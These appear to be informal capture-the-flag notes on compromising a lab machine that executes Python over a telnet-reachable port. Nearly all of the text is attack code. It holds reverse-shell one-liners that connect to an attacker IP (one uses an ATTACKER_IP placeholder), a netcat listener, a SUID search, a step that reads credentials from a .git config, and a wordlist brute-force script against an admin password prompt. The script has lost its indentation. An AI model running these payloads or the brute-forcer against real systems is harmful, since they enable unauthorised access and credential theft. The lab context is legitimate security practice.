telnet attack_ip 8000
# Its executiting the python instructions. so, i intially tried a direct reverse shell, like below, but it never worked
# import os,pty,socket;s=socket.socket();s.connect(("ATTACKER_IP",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")
# then i tried with python single instruction without pty. and turns out it worked and got reverse shell on my listener (eg: nc -lvnp 4444)
import socket, os, pty; (lambda s: (s.connect(("192.168.205.164", 4444)), [os.dup2(s.fileno(), f) for f in (0, 1, 2)], pty.spawn("bash")))(socket.socket())
or
import socket, os; (lambda s: (s.connect(("192.168.205.164", 4444)), [os.dup2(s.fileno(), f) for f in (0, 1, 2)], os.system("/bin/bash")))(socket.socket()) # worked
# listener side
nc -lvnp 4444
# tried by seeing any suid binary, but its unlucky
# find / -perm /4000 2>/dev/null
# after regouroous search, got a liitle insight, turns out its password for the think user
# make a better shell, intearactive
SHELL=/bin/bash script -q /dev/null
#or
#stty raw -echo && fg
# find the pass
cd /opt/dev/.git; cat config
# pyrat.py file
import socket
target_ip = "10.48.128.93" # Target IP {CHANGE THIS}
target_port = 8000 # Target port
password_wordlist = "/usr/share/wordlists/rockyou.txt"
def connect_and_send_password(password):
try:
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((target_ip, target_port))
client_socket.sendall(b'admin\n')
response = client_socket.recv(1024).decode()
print(f"Server response after sending 'admin': {response}")
if "Password:" in response:
print(f"Trying password: {password}")
client_socket.sendall(password.encode() + b"\n")
response = client_socket.recv(1024).decode()
if "success" in response.lower() or "admin" in response.lower():
print(f"Server respondse for password '{password}': {response}")
return True
else:
print(f"Passwsd wrong")
return False
except Exception as e:
print(f"Error: {e}")
return False
finally:
client_socket.close()
def fuzz_words():
with open(password_wordlist, 'r', encoding="latin-1") as f:
passwords = f.readlines()
for password in passwords:
password = password.strip()
if connect_and_send_password(password):
print(f"Found correct password {password}")
break
else:
print(f"wrong pass, {password}, reconnecting...")
fuzz_words()